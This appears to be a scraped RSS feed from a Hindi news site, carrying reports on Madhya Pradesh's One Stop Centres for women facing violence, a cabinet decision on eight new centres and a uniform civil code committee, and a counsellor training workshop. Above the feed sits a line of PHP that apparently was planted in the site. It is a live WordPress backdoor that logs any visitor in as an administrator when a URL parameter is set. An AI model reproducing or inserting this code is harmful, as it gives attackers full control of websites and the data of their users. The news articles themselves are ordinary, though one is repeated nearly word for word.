// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); One Stop Center – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 15 Apr 2026 05:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 प्रदेश में 8 नए वन स्टॉप सेंटर बनाए जाएंगे, UCC के लिए विशेष कमेटी का गठन https://pratyushaashakinayikiran.com/?p=212337 Wed, 15 Apr 2026 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=212337 भोपाल
मुख्यमंत्री डॉ. मोहन यादव की अध्यक्षता में मंत्रालय में आयोजित कैबिनेट बैठक में मध्य प्रदेश के सर्वांगीण विकास और सामाजिक सुरक्षा को लेकर कई ऐतिहासिक निर्णयों पर मुहर लगाई गई। सरकार ने महिला सशक्तिकरण, बुनियादी ढांचे के विकास और कानूनी सुधारों की दिशा में महत्वपूर्ण वित्तीय और प्रशासनिक स्वीकृति प्रदान की है।

महिला सुरक्षा हेतु 8 नए वन स्टॉप सेंटर
हिंसा से प्रभावित महिलाओं और बालिकाओं को तत्काल सहायता प्रदान करने के लिए राज्य में 8 नए वन स्टॉप सेंटर खोलने की मंजूरी दी गई है। ये सेंटर मैहर, मऊगंज, पांढुर्णा, धार के मनावर व पीथमपुर, इंदौर के लसूड़िया व सांवेर और झाबुआ के पेटलावद में स्थापित किए जाएंगे। यहां पीड़ितों को एक ही छत के नीचे चिकित्सा, कानूनी सहायता, मनोवैज्ञानिक परामर्श और अस्थाई आश्रय जैसी सुविधाएं मिलेंगी। इसके साथ ही, बेटी बचाओ-बेटी पढ़ाओ और महिला हेल्पलाइन-181 जैसी योजनाओं के लिए वर्ष 2031 तक ₹240 करोड़ का बजट आवंटित किया गया है।

समान नागरिक संहिता (UCC) के लिए समिति का गठन
उत्तराखंड और गुजरात की तर्ज पर मध्य प्रदेश में भी समान नागरिक संहिता (UCC) लागू करने की तैयारी शुरू हो गई है। कैबिनेट ने इसके लिए एक पांच सदस्यीय उच्च स्तरीय समिति बनाने का निर्णय लिया है।

यह समिति सुप्रीम कोर्ट या हाई कोर्ट के सेवानिवृत्त न्यायाधीश की अध्यक्षता में कार्य करेगी, जिसमें प्रशासनिक अधिकारी, कानून विशेषज्ञ और सामाजिक कार्यकर्ता शामिल होंगे। समिति 60 दिनों के भीतर उत्तराखंड और गुजरात के मॉडलों का अध्ययन कर अपनी रिपोर्ट सौंपेगी।

बुनियादी ढांचे और सिंचाई के लिए भारी निवेश
राज्य सरकार ने 1 अप्रैल 2026 से 31 मार्च 2031 तक की अवधि के लिए लोक कल्याणकारी कार्यों हेतु ₹19,810 करोड़ की राशि स्वीकृत की है। इस बजट का एक बड़ा हिस्सा, लगभग ₹10,801 करोड़, सड़क और पुल निर्माण के लिए रखा गया है।

इसमें एन्यूटी भुगतान और 'बनाओ, चलाओ और सौंपो' (BOT) मॉडल के तहत सड़कों के विकास पर विशेष ध्यान दिया गया है। कृषि क्षेत्र को मजबूती देने के लिए सागर जिले की मिडवासा सिंचाई परियोजना को ₹286.26 करोड़ की मंजूरी दी गई है, जिससे क्षेत्रीय किसानों को सीधा लाभ पहुंचेगा।

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वन स्टाप सेंटर के प्रशासकों और काउंसलर्स की 2 दिवसीय प्रशिक्षण कार्यशाला आज 16 अक्टूबर से https://pratyushaashakinayikiran.com/?p=85263 Wed, 16 Oct 2024 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=85263 भोपाल

किसी भी प्रकार की हिंसा से प्रभावित महिलाओं एवं बालिकाओं को एक ही स्थान पर आपातकालीन एवं गैर आपातकालीन सहायता एवं परामर्श उपलब्ध कराने के उद्देश्य से प्रदेश में 57 वन स्टाप सेंटर संचालित हैं। हिंसा पीड़ित महिलाओं की शिकायतों का निराकरण वन स्टाप सेंटर के प्रशासक द्वारा किया जाता है। इसके अतिरिक्त इन पीड़ित महिलाओं एवं बालिकाओं की काउंसलिंग भी की जाती है।

महिला बाल विकास विभाग द्वारा इन प्रशिक्षकों एवं काउंसलर्स के लिये 2 दिवसीय प्रशिक्षण कार्यशाला 16 एवं 17 अक्टूबर को होटल पलाश भोपाल में की जा रही है। आयुक्त, महिला बाल विकास श्रीमती सूफिया फारूखी प्रात: 11 बजे कार्यशाला का शुभारंभ करेंगी। प्रशिक्षण कार्यशाला में प्रशासक संवेदीकरण, मनोवैज्ञानिक परामर्श, नये कानूनों में संशोधन, जेंडर संवेदीकरण, फेमिली काउंसलिंग एवं दस्तावेजीकरण आदि विषयों पर विस्तृत चर्चा की जायेगी।

 

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महिलाओं का सम्मान वन स्टॉप सेंटर के प्रयासों से लौट रहा https://pratyushaashakinayikiran.com/?p=82874 Fri, 11 Oct 2024 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=82874    उज्जैन
 महिलाओं के खिलाफ हिंसा एक गंभीर सामाजिक समस्या है जिससे निपटने और महिलाओं को सशक्त बनाने के लिये प्रदेश में वन स्टॉप सेंटर की स्थापना की गई है। महिला सशक्तिकरण की दिशा में मिशन शक्ति की संबल उपयोजना के अंतर्गत वन स्टॉप सेंटर की स्थापना महत्वपूर्ण पहल है। इसका उद्देश्य किसी भी प्रकार की हिंसा से प्रभावित और संकटग्रस्त महिलाओं एवं बालिकाओं को एक ही स्थान पर विभिन्न आपातकालीन एवं गैर-आपातकालीन सहायता उपलब्ध कराना है।

महिला सशक्तिकरण में वन स्टॉप सेंटर की भूमिका

·  सुरक्षित आश्रय एवं तात्कालिक सहायता – वन स्टॉप सेंटर उन महिलाओं को तत्काल आश्रय और सुरक्षा प्रदान करता है जो घरेलू हिंसा, दहेज उत्पीड़न, यौन हिंसा अथवा किसी भी प्रकार की शारीरिक और मानसिक प्रताड़ना का शिकार होती है। सेंटर में महिलाओं को तत्काल सुरक्षा प्रदान की जाती है और उन्हें सुरक्षित वातावरण में आश्रय दिया जाता है।

·  कानूनी सहायता और परामर्श – वन स्टॉप सेंटर पीड़ित महिलाओं को कानूनी सहायता प्रदान करता है ताकि वे अपने अधिकारों को समझ सके और आवश्यक कानूनी कदम उठा सकें। कानूनी परामर्श और न्यायिक प्रक्रियाओं में सहायता मिलने से महिलाएँ अपने साथ हुए अन्याय के खिलाफ न्याय पाने की दिशा में सशक्त हो सकें।

·  चिकित्सा सहायता – वन स्टॉप सेंटर पर महिलाओं को तत्काल चिकित्सा सहायता मिलती है। हिंसा या प्रताड़ना से घायल महिलाओं को नजदीकी स्वास्थ्य सेवाएँ के साथ समन्वय कर चिकित्सा सेवाएँ दी जाती है।

·  मनोवैज्ञानिक परामर्श – हिंसा की शिकार महिलाएँ अक्सर मानसिक आघात से गुजरती है, वन स्टॉप सेंटर पर प्रशिक्षित परामर्शदाता महिलाओं को मानसिक और भावनात्मक समर्थन प्रदान करते है जिससे उनका आत्म-विश्वास मजबूत होता है।

·  पुनर्वास सेवाएँ एवं समाज में पुनर्स्थापना – वन स्टॉप सेंटर महिलाओं को पुनर्वास सेवाएँ भी प्रदान करते है। जरूरत पड़ने पर महिलाओं को उनके परिवार के साथ पुनर्स्थापित करने अथवा उन्हें स्वतंत्र जीवन जीने, अपने पैरों पर खड़ा होने का अवसर प्रदान करता है।

·  आर्थिक सशक्तिकरण के लिये प्रशिक्षण और रोजगार – वन स्टॉप सेंटर महिलाओं को रोजगार और स्व-रोजगार देने के लिये प्रशिक्षण देने का भी प्रयास करते है। महिलाओं को विभिन्न कौशल में प्रशिक्षित किया जाता है। इससे वे आर्थिक रूप से स्वतंत्र बन सकें और समाज में सम्मानजनक स्थान प्राप्त कर सकें।

       प्रदेश के 52 जिलों में 57 वन स्टॉप सेंटर संचालित किये जा रहे है। प्रारंभ से अगस्त 2024 तक 98 हजार 636 महिलाओं को पंजीकृत कर विभिन्न प्रकार की सहायता प्रदान की गई, जिसमें लगभग 78 प्रतिशत महिलाएँ (76,499) को घरेलू हिंसा से संबंधित सहायता प्रदान की गई। इसके अतिरिक्त दहेज उत्पीड़न, बलात्कार, यौन अपराध, बाल विवाह, गुमशुदा, अपहरण, निराश्रित आदि से संबंधित प्रकरणों में यथोचित मदद की गई। वर्ष 2019-20 में कुल 6 हजार 352 महिलाओं को सहायता दी गई थी। वर्ष 2023-24 में 21 हजार 490 महिलाओं को मदद प्रदान की गई। अब सभी वन स्टॉप सेंटर में वाहनों का प्रावधान भी किया गया है, जिससे दूरस्थ महिलाओं को भी त्वरित सहायता मिल सकेगी।

क्रमांक 1881         

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वन स्टॉप सेंटर के प्रयासों से लौट रहा महिलाओं का सम्मान https://pratyushaashakinayikiran.com/?p=82437 Thu, 10 Oct 2024 09:16:00 +0000 https://pratyushaashakinayikiran.com/?p=82437 वन स्टॉप सेंटर के प्रयासों से लौट रहा महिलाओं का सम्मान

महिला सशक्तिकरण की दिशा में संबल उपयोजना के अंतर्गत वन स्टॉप सेंटर की स्थापना महत्वपूर्ण पहल

वन स्टॉप सेंटर संकटग्रस्त महिलाओं को एक ही स्थान पर आपातकालीन एवं गैर-आपातकालीन सहायता उपलब्ध कराना है

भोपाल

महिलाओं के खिलाफ हिंसा एक गंभीर सामाजिक समस्या है जिससे निपटने और महिलाओं को सशक्त बनाने के लिये प्रदेश में वन स्टॉप सेंटर की स्थापना की गई है। महिला सशक्तिकरण की दिशा में मिशन शक्ति की संबल उपयोजना के अंतर्गत वन स्टॉप सेंटर की स्थापना महत्वपूर्ण पहल है। इसका उद्देश्य किसी भी प्रकार की हिंसा से प्रभावित और संकटग्रस्त महिलाओं एवं बालिकाओं को एक ही स्थान पर विभिन्न आपातकालीन एवं गैर-आपातकालीन सहायता उपलब्ध कराना है।

महिला सशक्तिकरण में वन स्टॉप सेंटर की भूमिका

     सुरक्षित आश्रय एवं तात्कालिक सहायता – वन स्टॉप सेंटर उन महिलाओं को तत्काल आश्रय और सुरक्षा प्रदान करता है जो घरेलू हिंसा, दहेज उत्पीड़न, यौन हिंसा अथवा किसी भी प्रकार की शारीरिक और मानसिक प्रताड़ना का शिकार होती है। सेंटर में महिलाओं को तत्काल सुरक्षा प्रदान की जाती है और उन्हें सुरक्षित वातावरण में आश्रय दिया जाता है।

     कानूनी सहायता और परामर्श – वन स्टॉप सेंटर पीड़ित महिलाओं को कानूनी सहायता प्रदान करता है ताकि वे अपने अधिकारों को समझ सके और आवश्यक कानूनी कदम उठा सकें। कानूनी परामर्श और न्यायिक प्रक्रियाओं में सहायता मिलने से महिलाएँ अपने साथ हुए अन्याय के खिलाफ न्याय पाने की दिशा में सशक्त हो सकें।

     चिकित्सा सहायता – वन स्टॉप सेंटर पर महिलाओं को तत्काल चिकित्सा सहायता मिलती है। हिंसा या प्रताड़ना से घायल महिलाओं को नजदीकी स्वास्थ्य सेवाएँ के साथ समन्वय कर चिकित्सा सेवाएँ दी जाती है।

     मनोवैज्ञानिक परामर्श – हिंसा की शिकार महिलाएँ अक्सर मानसिक आघात से गुजरती है, वन स्टॉप सेंटर पर प्रशिक्षित परामर्शदाता महिलाओं को मानसिक और भावनात्मक समर्थन प्रदान करते है जिससे उनका आत्म-विश्वास मजबूत होता है।

     पुनर्वास सेवाएँ एवं समाज में पुनर्स्थापना – वन स्टॉप सेंटर महिलाओं को पुनर्वास सेवाएँ भी प्रदान करते है। जरूरत पड़ने पर महिलाओं को उनके परिवार के साथ पुनर्स्थापित करने अथवा उन्हें स्वतंत्र जीवन जीने, अपने पैरों पर खड़ाहोने का अवसर प्रदान करता है।

     आर्थिक सशक्तिकरण के लिये प्रशिक्षण और रोजगार – वन स्टॉप सेंटर महिलाओं को रोजगार और स्व-रोजगार देने के लिये प्रशिक्षण देने का भी प्रयास करते है। महिलाओं को विभिन्न कौशल में प्रशिक्षित किया जाता है। इससे वे आर्थिक रूप से स्वतंत्र बन सकें और समाज में सम्मानजनक स्थान प्राप्त कर सकें।

प्रदेश के 52 जिलों में 57 वन स्टॉप सेंटर संचालित किये जा रहे है। प्रारंभ से अगस्त 2024 तक 98 हजार 636 महिलाओं को पंजीकृत कर विभिन्न प्रकार की सहायता प्रदान की गई, जिसमें लगभग 78 प्रतिशत महिलाएँ (76,499) को घरेलू हिंसा से संबंधित सहायता प्रदान की गई। इसके अतिरिक्त दहेज उत्पीड़न, बलात्कार, यौन अपराध, बाल विवाह, गुमशुदा, अपहरण, निराश्रित आदि से संबंधित प्रकरणों में यथोचित मदद की गई। वर्ष 2019-20 में कुल 6 हजार 352 महिलाओं को सहायता दी गई थी। वर्ष 2023-24 में 21 हजार 490 महिलाओं को मदद प्रदान की गई। अब सभी वन स्टॉप सेंटर में वाहनों का प्रावधान भी किया गया है, जिससे दूरस्थ महिलाओं को भी त्वरित सहायता मिल सकेगी।

 

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